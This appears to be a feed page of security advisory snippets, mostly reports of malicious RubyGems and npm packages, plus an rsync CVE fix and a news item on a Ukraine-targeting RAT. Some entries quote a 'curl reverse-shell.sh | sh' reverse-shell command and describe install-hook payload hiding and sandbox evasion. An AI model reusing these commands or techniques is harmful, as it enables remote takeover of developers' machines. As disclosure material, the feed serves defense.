MAL-2026-17800 Malicious code in wallet-hd-derive (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdfb31a6866dee961d55ad503da9de33a2cf743b52c80862e4380519ad5bef12 The gem is published as a crypto wallet utility but ships no native source; its gemspec declares extconf.rb as an extension so that gem install...

Malicious code in wallet-hd-derive (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdfb31a6866dee961d55ad503da9de33a2cf743b52c80862e4380519ad5bef12 The gem is published as a crypto wallet utility but ships no native source; its gemspec declares extconf.rb as an extension so that gem install...

MAL-2026-17793 Malicious code in perp-funding-rates (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 123418539e0264e9d58c8b51976723aff3eceec10520c231d7bc847edd51d691 The gem's native-extension script ext/perpfundingrates/extconf.rb contains no real build logic: it declares createmakefile'bitcoinrpclitenative' but...

MAL-2026-17802 Malicious code in xrp-ledger-utils (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1d8cf595b60954811e6adfd0c4a241c696d326b42baf1ed2e7b163e720db44c4 The gem's native extension builder ext/extconf.rb decodes a base64-embedded Ruby payload and evals it inside a double-forked, detached child after a...

Malicious code in xrp-ledger-utils (RubyGems)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1d8cf595b60954811e6adfd0c4a241c696d326b42baf1ed2e7b163e720db44c4 The gem's native extension builder ext/extconf.rb decodes a base64-embedded Ruby payload and evals it inside a double-forked, detached child after a...

rsync: Fix of 5 CVEs

CVE-2026-53790: refuse a shell-active RSYNCCONNECTPROG %H host and quote it; escape backtick, newline and carriage return in remote-shell arguments - CVE-2026-53793: confine a "/./" inner-module chroot: secure opens, changedir, chmod, rename, delta-basis opens and alt-dest basis stats, resolved...

UAC-0099 Targets Ukrainian Government Personnel With ASHVEIN RAT Hiding Commands in HTML

The Russia-aligned threat actor known as UAC-0099 has been attributed to a previously undocumented .NET infostealer and remote access trojan RAT codenamed ASHVEIN. According to TrendAI, the malware has been put to use in attacks targeting Ukrainian government personnel. The cybersecurity company ...

CLSA-2026-1791331076 rsync: Fix of 5 CVEs

CVE-2026-53790: refuse a shell-active RSYNCCONNECTPROG %H host and quote it; escape backtick, newline and carriage return in remote-shell arguments - CVE-2026-53793: confine a "/./" inner-module chroot: secure opens, changedir, chmod, rename, delta-basis opens and alt-dest basis stats, resolved...

Malicious code in internallib_v86 (npm)

Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and...

MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17634 Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

Malicious code in keccka (RubyGems)

Source: amazon-inspector e4f005ef5a4a20f9aadcdd2c6e78e6d68bb52765b2f5fac2abee6abd7dd261c5 The gem's native extension is a cover: ext/keccka/keccka.c is an empty stub and extconf.rb — auto-executed by gem install — contains a base64-wrapped Ruby payload decoded and passed to eval. The payload...

Malicious code in btc-wallet-tools (RubyGems)

Source: amazon-inspector 06838084180f1f087704c390cedde5a8d3610f4895356632f938139faef7d5e3 extconf.rb in this gem decodes a base64-encoded Ruby payload with Base64.decode64 and executes it via eval inside a double-forked, Process.setsid-detached child. The decoded payload opens a TCP socket to...

Malicious code in wallet-crypto-utils (RubyGems)

Source: amazon-inspector 5d4c36227c90b4747bc37eb95200ddf64c2875dd153138bc496b39c1dda564f7 The gem declares a native extension ext/reqthrottlemini/extconf.rb that ships no C/C++/Rust sources; the extconf.rb only calls createmakefile'walletcryptoutilsnative' after a hostile preamble. That preamble...

Malicious code in eth-keystore-utils (RubyGems)

Source: amazon-inspector cd660255e3a3483ed89e81f30c696390f8b182a891f8f1fb7e4c1cbb3b52eb32 The gem advertises itself as an Ethereum keystore helper but ships a native extension ext/reqthrottlemini/extconf.rb whose sole purpose is to execute a malicious payload during gem install. The extconf scrip...

Malicious code in bitcoin-rpc-lite (RubyGems)

Source: amazon-inspector 4567a3469d6774fbe9be233375145274adf41f8e7a20521724a9a15606351044 The gem declares ext/reqthrottlemini/extconf.rb as a native extension, but the ext/ directory ships no C/C++/Rust sources — the extension manifest exists solely to execute Ruby code during gem install. The...

Malicious code in rate-limit-mini (RubyGems)

Source: amazon-inspector edfe870cadc07265c0d6144de3019e30aa801b82e20f54e2fd309cc1eae7e4d0 The gem's native extension script ext/extconf.rb base64-decodes an embedded Ruby payload, writes it to a randomly named file under the system temporary directory, and spawns it with the Ruby interpreter befo...

Malicious code in request-guard (RubyGems)

Source: amazon-inspector 5724f6df96af48a04d14a3a986d2ea3b31c90a66e68cfde9e116adf187e42964 The gem's native-extension build script ext/reqthrottlemini/extconf.rb base64-decodes a Ruby payload, writes it to a random file under Dir.tmpdir, and spawns it with the Ruby interpreter before calling...

Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

MAL-2026-17585 Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...